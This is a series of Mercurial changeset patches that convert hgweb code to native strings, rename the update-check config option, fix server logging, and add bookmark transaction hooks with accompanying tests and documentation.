-        start = req.url[-1] == '?' and '&' or '?'
+        start = '&' if req.url[-1] == '?' else '?'
         sessionvars = webutil.sessionvars(vars, start)
 
         if not self.reponame:
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -508,7 +508,7 @@
         if style == styles[0]:
             vars['style'] = style
 
-        start = url[-1] == '?' and '&' or '?'
+        start = '&' if url[-1] == '?' else '?'
         sessionvars = webutil.sessionvars(vars, start)
         logourl = config('web', 'logourl')
         logoimg = config('web', 'logoimg')
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507229332 14400
#      Thu Oct 05 14:48:52 2017 -0400
# Node ID d1fccbd50fcd081fc98c88f30701ba029d7c2505
# Parent  b2316265a32eaffc2c9b598f691e51d1431b5d3a
hgweb: use native strings consistently for querystring parsing

Differential Revision: https://phab.mercurial-scm.org/D1078

diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -187,7 +187,7 @@
         if style == styles[0]:
             vars['style'] = style
 
-        start = '&' if req.url[-1] == '?' else '?'
+        start = r'&' if req.url[-1] == r'?' else r'?'
         sessionvars = webutil.sessionvars(vars, start)
 
         if not self.reponame:
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -508,7 +508,7 @@
         if style == styles[0]:
             vars['style'] = style
 
-        start = '&' if url[-1] == '?' else '?'
+        start = r'&' if url[-1] == r'?' else r'?'
         sessionvars = webutil.sessionvars(vars, start)
         logourl = config('web', 'logourl')
         logoimg = config('web', 'logoimg')
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508010158 14400
#      Sat Oct 14 15:42:38 2017 -0400
# Node ID c513808790543a76506a0de655fd9afb72042e74
# Parent  d1fccbd50fcd081fc98c88f30701ba029d7c2505
hgweb: rewrite most obviously-native-strings to be native strings

This clearly won't be everything, but it unblocks a fair amount of
stuff here.

Differential Revision: https://phab.mercurial-scm.org/D1079

diff --git a/mercurial/hgweb/__init__.py b/mercurial/hgweb/__init__.py
--- a/mercurial/hgweb/__init__.py
+++ b/mercurial/hgweb/__init__.py
@@ -14,6 +14,7 @@
 
 from .. import (
     error,
+    pycompat,
     util,
 )
 
@@ -61,25 +62,26 @@
         else:
             prefix = ''
 
-        port = ':%d' % self.httpd.port
-        if port == ':80':
-            port = ''
+        port = r':%d' % self.httpd.port
+        if port == r':80':
+            port = r''
 
         bindaddr = self.httpd.addr
-        if bindaddr == '0.0.0.0':
-            bindaddr = '*'
-        elif ':' in bindaddr: # IPv6
-            bindaddr = '[%s]' % bindaddr
+        if bindaddr == r'0.0.0.0':
+            bindaddr = r'*'
+        elif r':' in bindaddr: # IPv6
+            bindaddr = r'[%s]' % bindaddr
 
         fqaddr = self.httpd.fqaddr
-        if ':' in fqaddr:
-            fqaddr = '[%s]' % fqaddr
+        if r':' in fqaddr:
+            fqaddr = r'[%s]' % fqaddr
         if self.opts['port']:
             write = self.ui.status
         else:
             write = self.ui.write
         write(_('listening at http://%s%s/%s (bound to %s:%d)\n') %
-              (fqaddr, port, prefix, bindaddr, self.httpd.port))
+              (pycompat.sysbytes(fqaddr), pycompat.sysbytes(port),
+               prefix, pycompat.sysbytes(bindaddr), self.httpd.port))
         self.ui.flush()  # avoid buffering of status message
 
     def run(self):
diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -165,9 +165,9 @@
             proto = 'http'
             default_port = '80'
 
-        port = req.env['SERVER_PORT']
-        port = port != default_port and (':' + port) or ''
-        urlbase = '%s://%s%s' % (proto, req.env['SERVER_NAME'], port)
+        port = req.env[r'SERVER_PORT']
+        port = port != default_port and (r':' + port) or r''
+        urlbase = r'%s://%s%s' % (proto, req.env[r'SERVER_NAME'], port)
         logourl = self.config('web', 'logourl')
         logoimg = self.config('web', 'logoimg')
         staticurl = self.config('web', 'staticurl') or req.url + 'static/'
@@ -341,27 +341,27 @@
         # work with CGI variables to create coherent structure
         # use SCRIPT_NAME, PATH_INFO and QUERY_STRING as well as our REPO_NAME
 
-        req.url = req.env['SCRIPT_NAME']
+        req.url = req.env[r'SCRIPT_NAME']
         if not req.url.endswith('/'):
             req.url += '/'
         if req.env.get('REPO_NAME'):
-            req.url += req.env['REPO_NAME'] + '/'
+            req.url += req.env[r'REPO_NAME'] + r'/'
 
-        if 'PATH_INFO' in req.env:
-            parts = req.env['PATH_INFO'].strip('/').split('/')
-            repo_parts = req.env.get('REPO_NAME', '').split('/')
+        if r'PATH_INFO' in req.env:
+            parts = req.env[r'PATH_INFO'].strip('/').split('/')
+            repo_parts = req.env.get(r'REPO_NAME', r'').split(r'/')
             if parts[:len(repo_parts)] == repo_parts:
                 parts = parts[len(repo_parts):]
             query = '/'.join(parts)
         else:
-            query = req.env['QUERY_STRING'].partition('&')[0]
-            query = query.partition(';')[0]
+            query = req.env[r'QUERY_STRING'].partition(r'&')[0]
+            query = query.partition(r';')[0]
 
         # process this if it's a protocol request
         # protocol bits don't need to create any URLs
         # and the clients always use the old URL structure
 
-        cmd = req.form.get('cmd', [''])[0]
+        cmd = pycompat.sysbytes(req.form.get(r'cmd', [r''])[0])
         if protocol.iscmd(cmd):
             try:
                 if query:
@@ -386,8 +386,7 @@
         # translate user-visible url structure to internal structure
 
         args = query.split('/', 2)
-        if 'cmd' not in req.form and args and args[0]:
-
+        if r'cmd' not in req.form and args and args[0]:
             cmd = args.pop(0)
             style = cmd.rfind('-')
             if style != -1:
@@ -396,7 +395,7 @@
 
             # avoid accepting e.g. style parameter as command
             if util.safehasattr(webcommands, cmd):
-                req.form['cmd'] = [cmd]
+                req.form[r'cmd'] = [cmd]
 
             if cmd == 'static':
                 req.form['file'] = ['/'.join(args)]
@@ -431,8 +430,8 @@
                 self.check_perm(rctx, req, None)
 
             if cmd == '':
-                req.form['cmd'] = [tmpl.cache['default']]
-                cmd = req.form['cmd'][0]
+                req.form[r'cmd'] = [tmpl.cache['default']]
+                cmd = req.form[r'cmd'][0]
 
             # Don't enable caching if using a CSP nonce because then it wouldn't
             # be a nonce.
@@ -441,7 +440,7 @@
             if cmd not in webcommands.__all__:
                 msg = 'no such method: %s' % cmd
                 raise ErrorResponse(HTTP_BAD_REQUEST, msg)
-            elif cmd == 'file' and 'raw' in req.form.get('style', []):
+            elif cmd == 'file' and r'raw' in req.form.get(r'style', []):
                 rctx.ctype = ctype
                 content = webcommands.rawfile(rctx, req, tmpl)
             else:
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507965230 14400
#      Sat Oct 14 03:13:50 2017 -0400
# Node ID 23ed47a895d52976af7c2e74ed0d44fd8bb9be50
# Parent  c513808790543a76506a0de655fd9afb72042e74
config: graduate experimental.updatecheck to commands.update.check

.. feature::

  New `commands.update.check` feature to adjust constraints on when
  `hg update` will allow updates with a dirty working copy.

also

.. bc::

    The `experimental.updatecheck` name for the new `commands.update.check`
    feature is now deprecated, and will be removed after this release.

Differential Revision: https://phab.mercurial-scm.org/D1070

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -179,6 +179,9 @@
 coreconfigitem('commands', 'status.verbose',
     default=False,
 )
+coreconfigitem('commands', 'update.check',
+    default=None,
+)
 coreconfigitem('commands', 'update.requiredest',
     default=False,
 )
@@ -409,6 +412,7 @@
 coreconfigitem('experimental', 'treemanifest',
     default=False,
 )
+# Deprecated, remove after 4.4 release
 coreconfigitem('experimental', 'updatecheck',
     default=None,
 )
diff --git a/mercurial/help/config.txt b/mercurial/help/config.txt
--- a/mercurial/help/config.txt
+++ b/mercurial/help/config.txt
@@ -442,6 +442,18 @@
     Make paths in :hg:`status` output relative to the current directory.
     (default: False)
 
+``update.check``
+    Determines what level of checking :hg:`update` will perform before moving
+    to a destination revision. Valid values are ``abort``, ``none``,
+    ``linear``, and ``noconflict``. ``abort`` always fails if the working
+    directory has uncommitted changes. ``none`` performs no checking, and may
+    result in a merge with uncommitted changes. ``linear`` allows any update
+    as long as it follows a straight line in the revision history, and may
+    trigger a merge with uncommitted changes. ``noconflict`` will allow any
+    update which would not trigger a merge with uncommitted changes, if any
+    are present.
+    (default: ``linear``)
+
 ``update.requiredest``
     Require that the user pass a destination when running :hg:`update`.
     For example, :hg:`update .::` will be allowed, but a plain :hg:`update`
diff --git a/mercurial/hg.py b/mercurial/hg.py
--- a/mercurial/hg.py
+++ b/mercurial/hg.py
@@ -757,7 +757,10 @@
     This returns whether conflict is detected at updating or not.
     """
     if updatecheck is None:
-        updatecheck = ui.config('experimental', 'updatecheck')
+        updatecheck = ui.config('commands', 'update.check')
+        if updatecheck is None:
+            # pre-4.4 compat on the old spelling of this config item
+            updatecheck = ui.config('experimental', 'updatecheck')
         if updatecheck not in ('abort', 'none', 'linear', 'noconflict'):
             # If not configured, or invalid value configured
             updatecheck = 'linear'
diff --git a/tests/test-pull-update.t b/tests/test-pull-update.t
--- a/tests/test-pull-update.t
+++ b/tests/test-pull-update.t
@@ -19,7 +19,7 @@
 Should respect config to disable dirty update
   $ hg co -qC 0
   $ echo 2 > foo
-  $ hg --config experimental.updatecheck=abort pull -u ../tt
+  $ hg --config commands.update.check=abort pull -u ../tt
   pulling from ../tt
   searching for changes
   adding changesets
diff --git a/tests/test-update-branches.t b/tests/test-update-branches.t
--- a/tests/test-update-branches.t
+++ b/tests/test-update-branches.t
@@ -198,8 +198,8 @@
   parent=1
   M foo
 
-  $ echo '[experimental]' >> .hg/hgrc
-  $ echo 'updatecheck = abort' >> .hg/hgrc
+  $ echo '[commands]' >> .hg/hgrc
+  $ echo 'update.check = abort' >> .hg/hgrc
 
   $ revtest 'none dirty linear' dirty 1 2
   abort: uncommitted changes
@@ -215,7 +215,7 @@
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   parent=2
 
-  $ echo 'updatecheck = none' >> .hg/hgrc
+  $ echo 'update.check = none' >> .hg/hgrc
 
   $ revtest 'none dirty cross'  dirty 3 4
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -258,7 +258,7 @@
   >>>>>>> destination:  d047485b3896 b1 - test: 4
   $ rm a.orig
 
-  $ echo 'updatecheck = noconflict' >> .hg/hgrc
+  $ echo 'update.check = noconflict' >> .hg/hgrc
 
   $ revtest 'none dirty cross'  dirty 3 4
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -315,7 +315,7 @@
   $ hg up -q 4
 
 Uses default value of "linear" when value is misspelled
-  $ echo 'updatecheck = linyar' >> .hg/hgrc
+  $ echo 'update.check = linyar' >> .hg/hgrc
 
   $ revtest 'dirty cross'  dirty 3 4
   abort: uncommitted changes
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508010186 14400
#      Sat Oct 14 15:43:06 2017 -0400
# Node ID 8782076874f5ebf5bd7f07e4ea69a7ef4e0fe74c
# Parent  23ed47a895d52976af7c2e74ed0d44fd8bb9be50
hgweb: fix logging to use native strings as appropriate

Kind of a tangled mess, but now logging works in both Python 2 and 3.

# no-check-commit because of the interface required by Python's HTTP
server code.

Differential Revision: https://phab.mercurial-scm.org/D1080

diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -17,6 +17,7 @@
 from ..i18n import _
 
 from .. import (
+    encoding,
     error,
     pycompat,
     util,
@@ -67,9 +68,10 @@
         httpservermod.basehttprequesthandler.__init__(self, *args, **kargs)
 
     def _log_any(self, fp, format, *args):
-        fp.write("%s - - [%s] %s\n" % (self.client_address[0],
-                                       self.log_date_time_string(),
-                                       format % args))
+        fp.write(pycompat.sysbytes(
+            r"%s - - [%s] %s" % (self.client_address[0],
+                                 self.log_date_time_string(),
+                                 format % args)) + '\n')
         fp.flush()
 
     def log_error(self, format, *args):
@@ -78,14 +80,14 @@
     def log_message(self, format, *args):
         self._log_any(self.server.accesslog, format, *args)
 
-    def log_request(self, code='-', size='-'):
+    def log_request(self, code=r'-', size=r'-'):
         xheaders = []
         if util.safehasattr(self, 'headers'):
             xheaders = [h for h in self.headers.items()
-                        if h[0].startswith('x-')]
-        self.log_message('"%s" %s %s%s',
+                        if h[0].startswith(r'x-')]
+        self.log_message(r'"%s" %s %s%s',
                          self.requestline, str(code), str(size),
-                         ''.join([' %s:%s' % h for h in sorted(xheaders)]))
+                         r''.join([r' %s:%s' % h for h in sorted(xheaders)]))
 
     def do_write(self):
         try:
@@ -101,9 +103,13 @@
             self._start_response("500 Internal Server Error", [])
             self._write("Internal Server Error")
             self._done()
-            tb = "".join(traceback.format_exception(*sys.exc_info()))
-            self.log_error("Exception happened during processing "
-                           "request '%s':\n%s", self.path, tb)
+            tb = r"".join(traceback.format_exception(*sys.exc_info()))
+            # We need a native-string newline to poke in the log
+            # message, because we won't get a newline when using an
+            # r-string. This is the easy way out.
+            newline = chr(10)
+            self.log_error(r"Exception happened during processing "
+                           r"request '%s':%s%s", self.path, newline, tb)
 
     def do_GET(self):
         self.do_POST()
@@ -331,4 +337,4 @@
         return cls(ui, app, (address, port), handler)
     except socket.error as inst:
         raise error.Abort(_("cannot start server at '%s:%d': %s")
-                         % (address, port, inst.args[1]))
+                          % (address, port, encoding.strtolocal(inst.args[1])))
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507924734 14400
#      Fri Oct 13 15:58:54 2017 -0400
# Node ID 6cd8d8203204092282ab87a13a079d21d509cf16
# Parent  8782076874f5ebf5bd7f07e4ea69a7ef4e0fe74c
tweakdefaults: make commands.update.check be `noconflict`

This is the second-safest option we have to offer in `updatecheck`,
with `abort` being the safest and `linear` being the default. At the
sprint we discussed how much `none` and `linear` make us all
uncomfortable, and how we'd like to move the default behavior if we can.

I'm not sure we can get away with actually changing the out of the box
default behavior, but we can at *least* do this.

Differential Revision: https://phab.mercurial-scm.org/D1062

diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -53,6 +53,8 @@
 [commands]
 # Make `hg status` emit cwd-relative paths by default.
 status.relative = yes
+# Refuse to perform an `hg update` that would cause a file content merge
+update.check = noconflict
 
 [diff]
 git = 1
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507650822 -7200
#      Tue Oct 10 17:53:42 2017 +0200
# Node ID ee5f0d047b41452e2263b307a82e77af4735500d
# Parent  6cd8d8203204092282ab87a13a079d21d509cf16
bookmark: add a dedicated txnclose-bookmark hook

The new 'txnclose-bookmark' hook expose the bookmark movement information
stored in 'tr.changes['bookmarks]'. To provide a simple and straightforward
hook API to the users, we introduce a new hook called for each bookmark
touched. Since a transaction can affect multiple bookmarks, updating the
existing 'txnclose' hook to expose that information would be more complex. The
data for all moves might not fit in environment variables and iterations over
each move would be cumbersome. So the introduction of a new dedicated hook is
preferred in this changeset.

This does not exclude the addition to the full bookmark information to the
existing 'txnclose' in the future to help write more complex hooks.

diff --git a/mercurial/bookmarks.py b/mercurial/bookmarks.py
--- a/mercurial/bookmarks.py
+++ b/mercurial/bookmarks.py
@@ -846,3 +846,12 @@
 
         bmarks[bmark] = (n, prefix, label)
     _printbookmarks(ui, repo, bmarks, **opts)
+
+def preparehookargs(name, old, new):
+    if new is None:
+        new = ''
+    if old is None:
+        old = ''
+    return {'bookmark': name,
+            'node': hex(new),
+            'oldnode': hex(old)}
diff --git a/mercurial/help/config.txt b/mercurial/help/config.txt
--- a/mercurial/help/config.txt
+++ b/mercurial/help/config.txt
@@ -994,6 +994,18 @@
   after the lock is released. See :hg:`help config.hooks.pretxnclose` for
   details about available variables.
 
+``txnclose-bookmark``
+  Run after any bookmark change has been committed. At this point, the
+  transaction can no longer be rolled back. The hook will run after the lock
+  is released.
+  The name of the bookmark will be available in ``$HG_BOOKMARK``, the new
+  bookmark location will be available in ``$HG_NODE`` while the previous
+  location will be available in ``$HG_OLDNODE``. In case of a bookmark
+  creation ``$HG_OLDNODE`` will be empty. In case of deletion ``$HG_NODE``
+  will be empty. In addition, the reason for the transaction opening will be
+  in ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
+  ``HG_TXNID``.
+
 ``txnabort``
   Run when a transaction is aborted. See :hg:`help config.hooks.pretxnclose`
   for details about available variables.
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -1280,10 +1280,19 @@
             # fixes the function accumulation.
             hookargs = tr2.hookargs
 
-            def hook():
-                reporef().hook('txnclose', throw=False, txnname=desc,
-                               **pycompat.strkwargs(hookargs))
-            reporef()._afterlock(hook)
+            def hookfunc():
+                repo = reporef()
+                if hook.hashook(repo.ui, 'txnclose-bookmark'):
+                    bmchanges = sorted(tr.changes['bookmarks'].items())
+                    for name, (old, new) in bmchanges:
+                        args = tr.hookargs.copy()
+                        args.update(bookmarks.preparehookargs(name, old, new))
+                        repo.hook('txnclose-bookmark', throw=False,
+                                  txnname=desc, **pycompat.strkwargs(args))
+
+                repo.hook('txnclose', throw=False, txnname=desc,
+                          **pycompat.strkwargs(hookargs))
+            reporef()._afterlock(hookfunc)
         tr.addfinalize('txnclose-hook', txnclosehook)
         tr.addpostclose('warms-cache', self._buildcacheupdater(tr))
         def txnaborthook(tr2):
diff --git a/tests/test-bookmarks-pushpull.t b/tests/test-bookmarks-pushpull.t
--- a/tests/test-bookmarks-pushpull.t
+++ b/tests/test-bookmarks-pushpull.t
@@ -9,6 +9,8 @@
   > stabilization=createmarkers,exchange
   > EOF
 
+  $ TESTHOOK='hooks.txnclose-bookmark.test=echo "test-hook-bookmark: $HG_BOOKMARK:  $HG_OLDNODE -> $HG_NODE"'
+
 initialize
 
   $ hg init a
@@ -30,7 +32,7 @@
   $ hg book Y
   $ hg book
    * Y                         -1:000000000000
-  $ hg pull ../a
+  $ hg pull ../a --config "$TESTHOOK"
   pulling from ../a
   requesting all changes
   adding changesets
@@ -41,6 +43,9 @@
   updating bookmark Y
   adding remote bookmark Z
   new changesets 4e3505fd9583
+  test-hook-bookmark: X:   -> 4e3505fd95835d721066b76e75dbb8cc554d7f77
+  test-hook-bookmark: Y:  0000000000000000000000000000000000000000 -> 4e3505fd95835d721066b76e75dbb8cc554d7f77
+  test-hook-bookmark: Z:   -> 4e3505fd95835d721066b76e75dbb8cc554d7f77
   (run 'hg update' to get a working copy)
   $ hg bookmarks
      X                         0:4e3505fd9583
@@ -94,10 +99,11 @@
 delete a remote bookmark
 
   $ hg book -d W
-  $ hg push -B W ../a
+  $ hg push -B W ../a --config "$TESTHOOK"
   pushing to ../a
   searching for changes
   no changes found
+  test-hook-bookmark: W:  0000000000000000000000000000000000000000 -> 
   deleting remote bookmark W
   [1]
 
@@ -165,7 +171,7 @@
      Z                         1:0d2164f0ce0d
 
   $ cd ../b
-  $ hg up
+  $ hg up --config
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updating bookmark foobar
   $ echo c2 > f2
@@ -181,7 +187,7 @@
      foo                       -1:000000000000
    * foobar                    1:9b140be10808
 
-  $ hg pull --config paths.foo=../a foo
+  $ hg pull --config paths.foo=../a foo --config "$TESTHOOK"
   pulling from $TESTTMP/a (glob)
   searching for changes
   adding changesets
@@ -192,6 +198,9 @@
   divergent bookmark X stored as X@foo
   updating bookmark Z
   new changesets 0d2164f0ce0d
+  test-hook-bookmark: @foo:   -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
+  test-hook-bookmark: X@foo:   -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
+  test-hook-bookmark: Z:  4e3505fd95835d721066b76e75dbb8cc554d7f77 -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg book
      @                         1:9b140be10808
@@ -254,11 +263,13 @@
   $ hg update -r X
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   (activating bookmark X)
-  $ hg pull --config paths.foo=../a foo -B .
+  $ hg pull --config paths.foo=../a foo -B . --config "$TESTHOOK"
   pulling from $TESTTMP/a (glob)
   no changes found
   divergent bookmark @ stored as @foo
   importing bookmark X
+  test-hook-bookmark: @foo:  0d2164f0ce0d8f1d6f94351eba04b794909be66c -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
+  test-hook-bookmark: X:  9b140be1080824d768c5a4691a564088eede71f9 -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
 
 reinstall state for further testing:
 
@@ -283,13 +294,14 @@
   $ hg ci -Am3
   adding f2
   created new head
-  $ hg push ../a
+  $ hg push ../a --config "$TESTHOOK"
   pushing to ../a
   searching for changes
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  test-hook-bookmark: Y:  4e3505fd95835d721066b76e75dbb8cc554d7f77 -> f6fc62dde3c0771e29704af56ba4d8af77abcc2f
   updating bookmark Y
   $ hg -R ../a book
      @                         1:0d2164f0ce0d
@@ -314,7 +326,11 @@
   > echo committed in pull-race
   > EOF
 
-  $ hg clone -q http://localhost:$HGPORT/ pull-race2
+  $ hg clone -q http://localhost:$HGPORT/ pull-race2 --config "$TESTHOOK"
+  test-hook-bookmark: @:   -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
+  test-hook-bookmark: X:   -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
+  test-hook-bookmark: Y:   -> f6fc62dde3c0771e29704af56ba4d8af77abcc2f
+  test-hook-bookmark: Z:   -> 0d2164f0ce0d8f1d6f94351eba04b794909be66c
   $ cd pull-race
   $ hg up -q Y
   $ echo c4 > f2
diff --git a/tests/test-bookmarks.t b/tests/test-bookmarks.t
--- a/tests/test-bookmarks.t
+++ b/tests/test-bookmarks.t
@@ -1,6 +1,9 @@
+
   $ hg init repo
   $ cd repo
 
+  $ TESTHOOK='hooks.txnclose-bookmark.test=echo "test-hook-bookmark: $HG_BOOKMARK:  $HG_OLDNODE -> $HG_NODE"'
+
 no bookmarks
 
   $ hg bookmarks
@@ -12,7 +15,8 @@
 
 bookmark rev -1
 
-  $ hg bookmark X
+  $ hg bookmark X --config "$TESTHOOK"
+  test-hook-bookmark: X:   -> 0000000000000000000000000000000000000000
 
 list bookmarks
 
@@ -27,7 +31,8 @@
 
   $ echo a > a
   $ hg add a
-  $ hg commit -m 0
+  $ hg commit -m 0 --config "$TESTHOOK"
+  test-hook-bookmark: X:  0000000000000000000000000000000000000000 -> f7b1eb17ad24730a1651fccd46c43826d1bbc2ac
 
 bookmark X moved to rev 0
 
@@ -47,7 +52,8 @@
 
 second bookmark for rev 0, command should work even with ui.strict on
 
-  $ hg --config ui.strict=1 bookmark X2
+  $ hg --config ui.strict=1 bookmark X2 --config "$TESTHOOK"
+  test-hook-bookmark: X2:   -> f7b1eb17ad24730a1651fccd46c43826d1bbc2ac
 
 bookmark rev -1 again
 
@@ -62,7 +68,8 @@
 
   $ echo b > b
   $ hg add b
-  $ hg commit -m 1
+  $ hg commit -m 1 --config "$TESTHOOK"
+  test-hook-bookmark: X2:  f7b1eb17ad24730a1651fccd46c43826d1bbc2ac -> 925d80f479bb026b0fb3deb27503780b13f74123
 
   $ hg bookmarks -Tjson
   [
@@ -194,14 +201,17 @@
 rename bookmark using .
 
   $ hg book rename-me
-  $ hg book -m . renamed
+  $ hg book -m . renamed --config "$TESTHOOK"
+  test-hook-bookmark: rename-me:  db815d6d32e69058eadefc8cffbad37675707975 -> 
+  test-hook-bookmark: renamed:   -> db815d6d32e69058eadefc8cffbad37675707975
   $ hg bookmark
      X2                        1:925d80f479bb
      Y                         2:db815d6d32e6
      Z                         0:f7b1eb17ad24
    * renamed                   2:db815d6d32e6
   $ hg up -q Y
-  $ hg book -d renamed
+  $ hg book -d renamed --config "$TESTHOOK"
+  test-hook-bookmark: renamed:  db815d6d32e69058eadefc8cffbad37675707975 -> 
 
 rename bookmark using . with no active bookmark
 
@@ -354,11 +364,13 @@
   [255]
 
 bookmark with a name that matches a node id
-  $ hg bookmark 925d80f479bb db815d6d32e6
+  $ hg bookmark 925d80f479bb db815d6d32e6 --config "$TESTHOOK"
   bookmark 925d80f479bb matches a changeset hash
   (did you leave a -r out of an 'hg bookmark' command?)
   bookmark db815d6d32e6 matches a changeset hash
   (did you leave a -r out of an 'hg bookmark' command?)
+  test-hook-bookmark: 925d80f479bb:   -> db815d6d32e69058eadefc8cffbad37675707975
+  test-hook-bookmark: db815d6d32e6:   -> db815d6d32e69058eadefc8cffbad37675707975
   $ hg bookmark -d 925d80f479bb
   $ hg bookmark -d db815d6d32e6
 
@@ -406,7 +418,8 @@
 
 force bookmark with existing name
 
-  $ hg bookmark -f X2
+  $ hg bookmark -f X2 --config "$TESTHOOK"
+  test-hook-bookmark: X2:  925d80f479bb026b0fb3deb27503780b13f74123 -> db815d6d32e69058eadefc8cffbad37675707975
 
 force bookmark back to where it was, should deactivate it
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507481414 -7200
#      Sun Oct 08 18:50:14 2017 +0200
# Node ID c212947273a70d528cd5f2e8b8b356fcd4762e52
# Parent  ee5f0d047b41452e2263b307a82e77af4735500d
bookmark: add a dedicated pretxnclose-bookmark hook

This new hook mirror the newly introduced 'txnclose-bookmark' but can abort the
transaction.

diff --git a/mercurial/help/config.txt b/mercurial/help/config.txt
--- a/mercurial/help/config.txt
+++ b/mercurial/help/config.txt
@@ -988,6 +988,20 @@
   phase changes will set ``HG_BOOKMARK_MOVED`` and ``HG_PHASES_MOVED`` to ``1``
   respectively, etc.
 
+``pretxnclose-bookmark``
+  Run right before a bookmark change is actually finalized. Any repository
+  change will be visible to the hook program. This lets you validate the
+  transaction content or change it. Exit status 0 allows the commit to
+  proceed. A non-zero status will cause the transaction to be rolled back.
+  The name of the bookmark will be available in ``$HG_BOOKMARK``, the new
+  bookmark location will be available in ``$HG_NODE`` while the previous
+  location will be available in ``$HG_OLDNODE``. In case of a bookmark
+  creation ``$HG_OLDNODE`` will be empty. In case of deletion ``$HG_NODE``
+  will be empty.
+  In addition, the reason for the transaction opening will be in
+  ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
+  ``HG_TXNID``.
+
 ``txnclose``
   Run after any repository transaction has been committed. At this
   point, the transaction can no longer be rolled back. The hook will run
@@ -997,14 +1011,8 @@
 ``txnclose-bookmark``
   Run after any bookmark change has been committed. At this point, the
   transaction can no longer be rolled back. The hook will run after the lock
-  is released.
-  The name of the bookmark will be available in ``$HG_BOOKMARK``, the new
-  bookmark location will be available in ``$HG_NODE`` while the previous
-  location will be available in ``$HG_OLDNODE``. In case of a bookmark
-  creation ``$HG_OLDNODE`` will be empty. In case of deletion ``$HG_NODE``
-  will be empty. In addition, the reason for the transaction opening will be
-  in ``$HG_TXNNAME``, and a unique identifier for the transaction will be in
-  ``HG_TXNID``.
+  is released. See :hg:`help config.hooks.pretxnclose-bookmark` for details
+  about available variables.
 
 ``txnabort``
   Run when a transaction is aborted. See :hg:`help config.hooks.pretxnclose`
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -1235,8 +1235,17 @@
             # This will have to be fixed before we remove the experimental
             # gating.
             tracktags(tr2)
-            reporef().hook('pretxnclose', throw=True,
-                           txnname=desc, **pycompat.strkwargs(tr.hookargs))
+            repo = reporef()
+            if hook.hashook(repo.ui, 'pretxnclose-bookmark'):
+                for name, (old, new) in sorted(tr.changes['bookmarks'].items()):
+                    args = tr.hookargs.copy()
+                    args.update(bookmarks.preparehookargs(name, old, new))
+                    repo.hook('pretxnclose-bookmark', throw=True,
+                              txnname=desc,
+                              **pycompat.strkwargs(args))
+
+            repo.hook('pretxnclose', throw=True,
+                      txnname=desc, **pycompat.strkwargs(tr.hookargs))
         def releasefn(tr, success):
             repo = reporef()
             if success:
diff --git a/tests/test-bookmarks.t b/tests/test-bookmarks.t
--- a/tests/test-bookmarks.t
+++ b/tests/test-bookmarks.t
@@ -1063,3 +1063,99 @@
   rollback completed
   abort: pretxnclose hook exited with status 1
   [255]
+
+Check pretxnclose-bookmark can abort a transaction
+--------------------------------------------------
+
+add hooks:
+
+* to prevent NEW bookmark on a non-public changeset
+* to prevent non-forward move of NEW bookmark
+
+  $ cat << EOF >> .hg/hgrc
+  > [hooks]
+  > pretxnclose-bookmark.force-public  = (echo \$HG_BOOKMARK| grep -v NEW > /dev/null) || [ -z "\$HG_NODE" ] || (hg log -r "\$HG_NODE" -T '{phase}' | grep public > /dev/null)
+  > pretxnclose-bookmark.force-forward = (echo \$HG_BOOKMARK| grep -v NEW > /dev/null) || [ -z "\$HG_NODE" ] || (hg log -r "max(\$HG_OLDNODE::\$HG_NODE)" -T 'MATCH' | grep MATCH > /dev/null)
+  > EOF
+
+  $ hg log -G -T phases
+  @  changeset:   6:81dcce76aa0b
+  |  tag:         tip
+  |  phase:       draft
+  |  parent:      4:125c9a1d6df6
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     xx
+  |
+  | o  changeset:   5:5fb12f0f2d51
+  | |  branch:      test
+  | |  bookmark:    Z
+  | |  phase:       draft
+  | |  parent:      3:9ba5f110a0b3
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
